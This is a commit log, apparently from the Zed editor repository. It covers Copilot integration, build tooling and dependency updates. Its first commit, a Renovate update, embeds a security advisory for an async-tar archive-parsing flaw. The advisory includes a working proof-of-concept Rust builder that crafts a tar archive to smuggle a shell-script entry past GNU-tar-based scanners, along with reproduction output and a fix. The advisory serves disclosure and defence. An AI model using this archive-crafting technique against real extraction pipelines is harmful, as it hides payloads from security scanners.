Commit Graph
75 Commits
Author SHA1 Message Date
renovate[bot]andKirill Bulatov a1230fc584 Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [async-tar](https://redirect.github.com/dignifiedquire/async-tar) |
workspace.dependencies | minor | `0.5.1` → `0.6.0` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/15138) for more information.

---

### async-tar PAX extension-header desync enables tar entry/content
smuggling
[CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) /
[GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

<details>
<summary>More information</summary>

#### Details
##### Summary

`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an
intermediary
extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX
`x`/`g`
header) instead of to the next *file* entry. POSIX requires a PAX
extended-header
record set to describe the next file entry, never an intervening
extension
header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered
PAX
records into the size computation of whatever raw header it reads next —
and that
header can be an intermediary `L` — the stream cursor is advanced by an
attacker-chosen amount when the `L` body is consumed. The parser then
desyncs
relative to a POSIX-correct tar parser (e.g. GNU tar), reading
subsequent bytes
at the wrong block boundary.

An attacker who can influence a tar stream that an `async-tar` consumer
extracts
can construct an `x → L → file` sequence whose entry list and on-disk
result
differ between `async-tar` and a reference parser. This enables
content/entry
smuggling: a file that a GNU-tar-based scanner/validator/AV sees as
benign opaque
data is extracted by `async-tar` as a different file with different
bytes (e.g. an
executable script), and vice versa.

Type confusion / improper validation of the specified quantity (size).
CWE-20,
CWE-843. Severity assessed Medium, consistent with the same defect class
in the
upstream tar-rs / tokio-tar lineage.

##### Affected code

Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest
release) and
current `main` HEAD. Both lack the extension-header guard.

`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,
commit `45814b19295b7398e119c90c57d8c8bf70a798b6`):

```rust
    let file_pos = *next;

    let mut header = current_header.take().unwrap();

    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data {   // <-- no is_extension_header guard
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
            let Some(key) = extension.key().ok() else { continue };
            match key {
                "size" => {
                    let size_str = extension.value()
                        .map_err(|_e| other("failed to parse pax size as string"))?;
                    size = size_str.parse::<u64>()
                        .map_err(|_e| other("failed to parse pax size"))?;
                }
                "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
                "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
                _ => { continue }
            }
        }
    }

    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size
```

and a few lines further down the same function:

```rust
    // Store where the next entry is, rounding up by 512 bytes.
    let size = (size + 511) & !(512 - 1);
    *next += size;                                          // cursor advance = mis-applied PAX size
```

The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX
local
extension into `current_pax_extensions` and then calls `poll_next_raw`
with
`current_pax_extensions.as_deref()` for the *next* raw header. When that
next
raw header is an intermediary GNU longname (handled by the
`is_gnu_longname()`
branch a few lines later), the PAX `size` is applied to it, so `*next`
advances by
the spoofed size rather than the `L` header's own declared size. That is
the
desync.

The buffered PAX records are intended to apply only to the following
*file*
entry; the missing check is whether the raw header currently being sized
is itself
an extension header (`L`/`K`/`x`/`g`).

##### Impact

Differential extraction / entry smuggling. A consumer that extracts an
attacker-influenced tar stream with `async-tar` (e.g. a server endpoint
that
unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that
unpacks
a remote tarball, an archive-preview/scan pipeline) will:

- materialize files / file contents that a POSIX-correct parser (GNU
tar,
  libarchive/bsdtar) does not surface, and
- omit or alter files that the reference parser does surface.

This breaks any security control that relies on scanning the archive
with one
parser and extracting with `async-tar`: a malware/secret scanner reading
the
stream with GNU tar can be made to see only benign data while
`async-tar` writes
an executable payload to disk. It can also be used to hide entries from
audit/inventory tooling, or to write content to a path the reviewer
believes
holds something else. No attacker-controlled local state is required —
only the
ability to influence the bytes of the tar stream that the consumer
extracts.

##### How input reaches the sink (reachability)

The vulnerable path is the library's primary public API for reading
archives:
`Archive::new(reader).entries()` returns an `Entries` stream whose
`poll_next`
drives `poll_next_raw` for every header. Any consumer that iterates
entries (or
calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream
reaches
the sink with no additional configuration. The `reader` need not be a
file — it is
any `AsyncRead`, so an upload buffer, an HTTP response body, or a
decompressor
output all qualify. The only precondition for the desync is that the
stream
contain a PAX local-extension header (`x`) carrying a `size` record
immediately
followed by an intermediary GNU longname (`L`) before the next file
header — a
structure the attacker fully controls in the archive bytes.
Representative
reachable consumers are server endpoints that unpack uploaded
`.tar`/`.tar.gz`
bodies, dependency/artifact fetchers that unpack remote tarballs, and
archive-scan/preview pipelines.

##### Proof of concept

A standalone Rust consumer binary that links the published crates.io
`async-tar = "=0.6.0"` (`default-features = false, features =
["runtime-tokio"]`)
and runs the real `Archive::new(...).entries()` extraction loop (the
same shape
used by real downstream server consumers that unpack uploaded tarballs).
It reads
a tar file and writes each entry to a destination directory, printing
the entry
list `async-tar` surfaces. A second binary hand-crafts the malicious and
benign
tar byte streams.

Malicious archive geometry (block = 512 bytes):

```
B0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)
B1     PAX records  ("<len> size=1024\n")
B2  L  GNU longname header, OWN declared size = 512 (= 1 block)
B3     longname block #&#8203;1  = "GNU_SEES_THIS.txt\0..."   (the name GNU tar uses)
B4     a normal file header "placeholder_A" (size 512)
B5     <-- this block IS a valid tar header for the smuggled file
           "hidden_payload.sh" (size 65)
B6     smuggled payload  "#!/bin/sh\n# SMUGGLED ENTRY...\n"
B7,B8  two zero blocks (EOF)
```

GNU tar honours the `L` header's own declared size (1 block) for the
longname and
ignores the buffered PAX `size`, so it reads B3 as the longname, treats
B4 as the
file, and reads B5 as that file's opaque data. `async-tar` mis-applies
the PAX
`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands
its cursor
on B5, parses it as a tar header, and extracts the smuggled
`hidden_payload.sh`
body (B6).

Tar-builder source (`mktar.rs`):

```rust
use std::io::Write;
const BLOCK: usize = 512;

fn octal(buf: &mut [u8], v: u64) {
    let s = format!("{:0width$o}", v, width = buf.len() - 1);
    let b = s.as_bytes();
    buf[..b.len()].copy_from_slice(b);
    buf[b.len()] = 0;
}

fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
    let mut h = [0u8; BLOCK];
    let n = name.len().min(100);
    h[..n].copy_from_slice(&name[..n]);
    octal(&mut h[100..108], 0o644);
    octal(&mut h[108..116], 0);
    octal(&mut h[116..124], 0);
    octal(&mut h[124..136], size);
    octal(&mut h[136..148], 0);
    h[156] = typeflag;
    if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar  \0"); }
    else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
    for b in &mut h[148..156] { *b = b' '; }
    let sum: u32 = h.iter().map(|b| *b as u32).sum();
    h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
    h
}

fn pad(out: &mut Vec<u8>, len: usize) {
    let rem = len % BLOCK;
    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
fn pax_record(key: &str, val: &str) -> Vec<u8> {
    let mut len = key.len() + val.len() + 3;
    loop {
        let s = format!("{} {}={}\n", len, key, val);
        if s.len() == len { return s.into_bytes(); }
        len = s.len();
    }
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }

fn build_malicious() -> Vec<u8> {
    let mut out = Vec::new();
    let gnu_name = b"GNU_SEES_THIS.txt";
    let spoof = (BLOCK * 2) as u64;
    let mut recs = Vec::new();
    recs.extend(pax_record("size", &spoof.to_string()));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    out.extend_from_slice(&header(b"././@&#8203;LongLink", BLOCK as u64, b'L'));
    out.extend_from_slice(&name_block(gnu_name));                 // B3
    out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
    let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
    out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
    write_block(&mut out, &smuggled_body);                        // B6
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn build_benign() -> Vec<u8> {
    let mut out = Vec::new();
    let mut recs = Vec::new();
    recs.extend(pax_record("path", "normal_file.txt"));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    let body = b"plain benign content\n".to_vec();
    out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
    write_block(&mut out, &body);
    let body2 = b"second benign file\n".to_vec();
    out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
    write_block(&mut out, &body2);
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn main() {
    let a: Vec<String> = std::env::args().collect();
    let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
    std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}
```

Consumer source (`main.rs`, mirrors a real `Archive::entries()`
extraction loop):

```rust
use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;

#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
    let args: Vec<String> = std::env::args().collect();
    let dest = std::path::PathBuf::from(&args[2]);
    fs::create_dir_all(&dest).await.unwrap();
    let bytes = fs::read(&args[1]).await.unwrap();
    let archive = Archive::new(std::io::Cursor::new(bytes));
    let mut entries = archive.entries().expect("entries()");
    let mut idx = 0usize;
    while let Some(entry) = entries.next().await {
        let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
        let path_raw = file.path().expect("path").into_owned();
        let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
        let hdr_size = file.header().size().unwrap_or(0);
        let mut out = dest.clone();
        for comp in std::path::PathBuf::from(&path_disp).components() {
            if let std::path::Component::Normal(p) = comp { out.push(p); }
        }
        let mut body = Vec::new();
        let read = file.read_to_end(&mut body).await.unwrap_or(0);
        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
        let _ = fs::write(&out, &body).await;
        let preview: String = body.iter().take(48)
            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
        println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
        idx += 1;
    }
    println!("[async-tar] total entries surfaced: {idx}");
}
```

`Cargo.toml`:

```toml
[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"
```

##### End-to-end reproduction

Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release
linked by
the consumer binary above. Verbatim captured output:

```
$ cargo build --release        # links async-tar v0.6.0 from crates.io
   Compiling async-tar v0.6.0
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s) in 10.12s

$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar

##### ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh

##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
#####  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)

##### ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt

#!/bin/sh
##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner
```

Same bytes, two parsers, different on-disk result: GNU tar writes a
1024-byte
benign blob; `async-tar` writes a 65-byte executable shell script that
the
reference parser never exposes as an entry. The smuggled `#!/bin/sh`
body is
content a GNU-tar-based scanner would never inspect.

Negative control — a benign archive (correct PAX usage: `x` applies
`path` to the
following file, no intermediary `L`):

```
$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2
```

GNU tar and `async-tar` produce identical entry lists and identical
on-disk files.
No smuggling. The differential is exclusive to the `x → L → file` desync
sequence.

##### Fix

Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides)
only when
the raw header being sized is NOT itself an extension header. Skip the
override
for GNU longname (`L`), GNU longlink (`K`), and PAX local/global
(`x`/`g`) headers,
whose body length must come from their own declared size. This mirrors
the fix
adopted in the upstream tar-rs / tokio-tar lineage for the same defect
class.

```rust
    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // PAX extensions describe the NEXT file entry, not an intermediary
    // extension header. Applying a buffered PAX `size` to such an intermediary
    // header (L/K/x/g) advances the stream cursor by the wrong amount and
    // desyncs the parse.
    let entry_type = header.entry_type();
    let is_extension_header = entry_type.is_gnu_longname()
        || entry_type.is_gnu_longlink()
        || entry_type.is_pax_local_extensions()
        || entry_type.is_pax_global_extensions();

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            // unchanged: same size/uid/gid override loop as before
        }
    }
```

Fix-verify, captured verbatim. The patched `async-tar` (guard added)
re-run
against the same `mal.tar`:

```
$ cargo build --release        # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
   Compiling async-tar v0.6.0 (.../async-tar-patched)
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh
```

With the guard, `async-tar`'s view converges with GNU tar's: it surfaces
`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as
data, and
no longer extracts the smuggled executable script. The benign control
still
produces the correct two-file output. The desync is eliminated.

##### Fix PR

A fix PR adding the `is_extension_header` guard to `poll_next_raw` in
`src/archive.rs` is opened from the advisory's temporary private fork
against this
repository. It carries the diff shown in the **Fix** section above (no
behavioural
change for well-formed archives; only intermediary `L`/`K`/`x`/`g`
headers stop
inheriting a following PAX `size`).

##### Credit

Reported by tonghuaroot.

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m)
-
[https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>dignifiedquire/async-tar (async-tar)</summary>

###
[`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

###
[`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0):
- Tokio Support

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0)

</details>

---

### Configuration

📅 **Schedule**: (in timezone America/New_York)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

Release Notes:

- N/A

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-07-14 16:21:54 +00:00
Ben Kunkle 074585934c copilot: Bypass Copilot LSP node shim (#56635)
We currently run node on the JS wrapper around the native binaries
shipped with https://github.com/github/copilot-language-server-release.
According to their README, this is not required, and it seems like it is
just an option provided so that you can run the server with `npx`.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #55891

Release Notes:

- Stopped relying on node for running the Copilot language server that
provides edit predictions. The system node version should no longer
affect whether Copilot edit predictions work in Zed
2026-05-13 14:48:39 +00:00
Piotr Osiewicz 93e641166d theme: Split out theme_settings crate (#52569)
Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- N/A
2026-03-27 14:41:25 +01:00
Piotr Osiewicz 97421c670e Remove unreferenced dev dependencies (#51093)
This will help with test times (in some cases), as nextest cannot figure
out whether a given rdep is actually an alive edge of the build graph

Closes #ISSUE

Before you mark this PR as ready for review, make sure that you have:
- [ ] Added a solid test coverage and/or screenshots from doing manual
testing
- [ ] Done a self-review taking into account security and performance
aspects
- [ ] Aligned any UI changes with the [UI
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)

Release Notes:

- N/A
2026-03-09 13:22:12 +01:00
db53a65ab6 Add configurable LSP timeout setting (#44745)
Fixes #36818

Release Notes:

- Added new `global_lsp_settings.request_timeout` setting to configure
the maximum timeout duration for LSP-related operations.

Code inspired by [prior
implementation](https://github.com/zed-industries/zed/pull/38443),
though with a few tweaks here & there (like using `serde:default` and
keeping the pre-defined constant in the LSP file).

---------

Co-authored-by: Kirill Bulatov <mail4score@gmail.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-02-07 00:36:37 +00:00
versecafeandDanilo Leal 9c3ae09896 Improve icon selection for edit prediction providers (#47911)
Release Notes:

- N/A

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
2026-02-02 10:00:35 -03:00
7c98f1732e copilot: Decouple authentication from the lifetime of any single Copilot instance (#47473)
Users had trouble signing in due to us relying on the Copilot::global
being set, which was never the case. We've decided to use a dedicated
LSP instance just for handling auth of Copilot Chat and other goodies.
That instance is subscribed to by local Copilot instances for projects.
When the Auth instance changes it's state, local instances are prompted
to re-check their own sign in status.

Closes #47352

Co-authored-by: dino <dinojoaocosta@gmail.com>

Release Notes:

- Fixed authentication issues with Copilot.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
Co-authored-by: Zed Zippy <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-01-23 17:20:16 +01:00
Piotr Osiewicz ca23fa7c7c copilot: Un-globalify copilot + handle it more directly with EditPredictionStore (#46618)
- **copilot: Fix double lease panic when signing out**
- **Extract copilot_chat into a separate crate**
- **Do not use re-exports from copilot**
- **Use new SignIn API**
- **Extract copilot_ui out of copilot**

Closes #7501

Release Notes:

- Fixed Copilot providing suggestions from different Zed windows.
- Copilot edit predictions now support jumping to unresolved
diagnostics.
2026-01-14 14:44:13 +00:00
Moritz Bitsch 9ec147db67 Update Copilot sign-up URL based on verification domain (#44085)
Use the url crate to extract the domain from the verification URI and
construct the appropriate Copilot sign-up URL for GitHub or GitHub
Enterprise.

Release Notes:

- Improved github enterprise (ghe) copilot sign in
2025-12-16 09:48:20 +00:00
42583c1141 Reorganize edit prediction code and remove old experiments (#44187)
Release Notes:

- N/A

---------

Co-authored-by: Agus Zubiaga <agus@zed.dev>
Co-authored-by: Ben Kunkle <ben@zed.dev>
2025-12-04 15:56:57 -08:00
Mikayla MakiandNia 5f8226457e Automate settings registration (#42238)
Release Notes:

- N/A

---------

Co-authored-by: Nia <nia@zed.dev>
2025-11-07 22:27:14 +00:00
Julia Ryan ef5b8c6fed Remove workspace-hack (#40216)
We've been considering removing workspace-hack for a couple reasons:
- Lukas ran into a situation where its build script seemed to be causing
spurious rebuilds. This seems more likely to be a cargo bug than an
issue with workspace-hack itself (given that it has an empty build
script), but we don't necessarily want to take the time to hunt that
down right now.
- Marshall mentioned hakari interacts poorly with automated crate
updates (in our case provided by rennovate) because you'd need to have
`cargo hakari generate && cargo hakari manage-deps` after their changes
and we prefer to not have actions that make commits.

Currently removing workspace-hack causes our workspace to grow from
~1700 to ~2000 crates being built (depending on platform), which is
mainly a problem when you're building the whole workspace or running
tests across the the normal and remote binaries (which is where
feature-unification nets us the most sharing). It doesn't impact
incremental times noticeably when you're just iterating on `-p zed`, and
we'll hopefully get these savings back in the future when
rust-lang/cargo#14774 (which re-implements the functionality of hakari)
is finished.

Release Notes:

- N/A
2025-10-17 18:58:14 +00:00
Smit Barmase 7f14ab26dd copilot: Ensure minimum Node version (#38945)
Closes #38918

Release Notes:

- N/A
2025-09-26 20:08:21 +05:30
Kirill Bulatov b233df8343 Revert "Remote LSP logs (#36709)" (#37051)
This reverts commit e2bf8e5d9c.

See
https://github.com/zed-industries/zed/pull/37050#issuecomment-3230017137
for the context: musl builds started to fail and the amount of `cfg!`s
to fix this is too large.

Instead, the lsp_log.rs has to be split and repurposed better for the
remote headless server.

Release Notes:

- N/A
2025-08-27 23:24:19 +00:00
e2bf8e5d9c Remote LSP logs (#36709)
Enables LSP log tracing in both remote collab and remote ssh
environments.
Server logs and server RPC traces can now be viewed remotely, and the
LSP button is now shown in such projects too.

Closes https://github.com/zed-industries/zed/issues/28557

Co-Authored-By: Kirill <kirill@zed.dev>
Co-Authored-By: Lukas <lukas@zed.dev>

Release Notes:

- Enabled LSP log tracing in both remote collab and remote ssh
environments

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
Co-authored-by: Lukas Wirth <lukas@zed.dev>
2025-08-27 21:55:34 +03:00
Piotr Osiewicz 07e3d53d58 sum_tree: Do not implement Dimension on tuples, use new Dimensions wrapper instead (#35482)
This is a bit of a readability improvement IMHO; I often find myself
confused when dealing when dimension pairs, as there's no easy way to
jump to the implementation of a dimension for tuples to remind myself
for the n-th time how exactly that impl works. Now it should be possible
to jump directly to that impl.

Another bonus is that Dimension supports 3-ary tuples as well - by using
a () as a default value of a 3rd dimension.


Release Notes:

- N/A
2025-08-05 00:37:22 +00:00
Michael Sloan 65018c28c0 Rename remaining mentions of "inline completion" to "edit prediction" (#35512)
Release Notes:

- N/A
2025-08-04 16:22:18 +00:00
Umesh Yadav e914d84f00 copilot: Fix config dir logic to support Flatpak environments (#32901)
Closes #30784

In github copilot we were not handling the config path correctly for
FLATPAK.

* Only tested on mac don't have access to other platform. But this
should work on other platform as well. It follows the similar pattern
seen in zed config path resolution.
- [x] Macos
- [ ] Linux
- [ ] Linux with Flatpak
- [ ] Windows

Release Notes:

- Fix copilot config detection for flatpack
2025-06-19 16:32:02 +02:00
Ben Kunkle c0aa8f63fd zlog: Replace usages of env_logger in tests with zlog (#31436)
Also fixes:
https://github.com/zed-industries/zed/pull/31400#issuecomment-2908165249

Release Notes:

- N/A *or* Added/Fixed/Improved ...
2025-05-26 11:48:50 -04:00
f14e48d202 language_models: Dynamically detect Copilot Chat models (#29027)
I noticed the discussion in #28881, and had thought of exactly the same
a few days prior.

This implementation should preserve existing functionality fairly well.

I've added a dependency (serde_with) to allow the deserializer to skip
models which cannot be deserialized, which could occur if a future
provider, for instance, is added. Without this modification, such a
change could break all models. If extra dependencies aren't desired, a
manual implementation could be used instead.

- Closes #29369 

Release Notes:

- Dynamically detect available Copilot Chat models, including all models
with tool support

---------

Co-authored-by: AidanV <aidanvanduyne@gmail.com>
Co-authored-by: imumesh18 <umesh4257@gmail.com>
Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
Co-authored-by: Agus Zubiaga <hi@aguz.me>
2025-05-12 11:28:41 +00:00
01ec6e0f77 Add workspace-hack (#27277)
This adds a "workspace-hack" crate, see
[mozilla's](https://hg.mozilla.org/mozilla-central/file/3a265fdc9f33e5946f0ca0a04af73acd7e6d1a39/build/workspace-hack/Cargo.toml#l7)
for a concise explanation of why this is useful. For us in practice this
means that if I were to run all the tests (`cargo nextest r
--workspace`) and then `cargo r`, all the deps from the previous cargo
command will be reused. Before this PR it would rebuild many deps due to
resolving different sets of features for them. For me this frequently
caused long rebuilds when things "should" already be cached.

To avoid manually maintaining our workspace-hack crate, we will use
[cargo hakari](https://docs.rs/cargo-hakari) to update the build files
when there's a necessary change. I've added a step to CI that checks
whether the workspace-hack crate is up to date, and instructs you to
re-run `script/update-workspace-hack` when it fails.

Finally, to make sure that people can still depend on crates in our
workspace without pulling in all the workspace deps, we use a `[patch]`
section following [hakari's
instructions](https://docs.rs/cargo-hakari/0.9.36/cargo_hakari/patch_directive/index.html)

One possible followup task would be making guppy use our
`rust-toolchain.toml` instead of having to duplicate that list in its
config, I opened an issue for that upstream: guppy-rs/guppy#481.

TODO:
- [x] Fix the extension test failure
- [x] Ensure the dev dependencies aren't being unified by Hakari into
the main dependencies
- [x] Ensure that the remote-server binary continues to not depend on
LibSSL

Release Notes:

- N/A

---------

Co-authored-by: Mikayla <mikayla@zed.dev>
Co-authored-by: Mikayla Maki <mikayla.c.maki@gmail.com>
2025-04-02 13:26:34 -07:00
Marshall Bowers a52095f558 copilot: Switch to official @github/copilot-language-server (#27401)
This PR updates Copilot to use the official
[`@github/copilot-language-server`](https://github.com/github/copilot-language-server-release).

It's [available on
npm](https://www.npmjs.com/package/@github/copilot-language-server), so
we're installing it from there.

I tested it out locally and it seemed to be working as expected.

Release Notes:

- Updated Copilot to use the official
[`@github/copilot-language-server`](https://github.com/github/copilot-language-server-release).
2025-03-24 23:35:29 +00:00
Eli KaplanandMarshall Bowers a8d56877ee copilot: Support HTTP/HTTPS proxy for Copilot language server (#24364)
Closes #6701 (one of the top ranking issues as of writing)

Adds the ability to specify an HTTP/HTTPS proxy to route Copilot code
completion API requests through. This should fix copilot functionality
in restricted network environments (where such a proxy is required) but
also opens up the ability to point copilot code completion requests at
your own local LLM, using e.g.:
- https://github.com/jjleng/copilot-proxy
- https://github.com/bernardo-bruning/ollama-copilot/tree/master

External MITM-proxy tools permitting, this can serve as a stop-gap to
allow local LLM code completion in Zed until a proper OpenAI-compatible
local code completions provider is implemented. With this in mind, in
this PR I've added separate `settings.json` variables to configure a
proxy server _specific to the code completions provider_ instead of
using the global `proxy` setting, to allow for cases like this where we
_only_ want to proxy e.g. the Copilot requests, but not all outgoing
traffic from the application.

Currently, two new settings are added:
- `inline_completions.copilot.proxy`: Proxy server URL (HTTP and HTTPS
schemes supported)
- `inline_completions.copilot.proxy_no_verify`: Whether to disable
certificate verification through the proxy

Example:
```js
"features": {
  "inline_completion_provider": "copilot"
},
"show_completions_on_input": true,
// New:
"inline_completions": {
  "copilot": {
    "proxy": "http://example.com:15432",
    "proxy_no_verify": true
  }
}
```


Release Notes:

- Added the ability to specify an HTTP/HTTPS proxy for Copilot.

---------

Co-authored-by: Marshall Bowers <git@maxdeviant.com>
2025-02-24 12:11:00 -05:00
Marshall Bowers 8fc5d227a4 copilot: Sort dev dependencies in Cargo.toml (#24378)
This PR sorts the dev dependencies in `copilot`'s `Cargo.toml`.

Release Notes:

- N/A
2025-02-06 15:19:03 +00:00
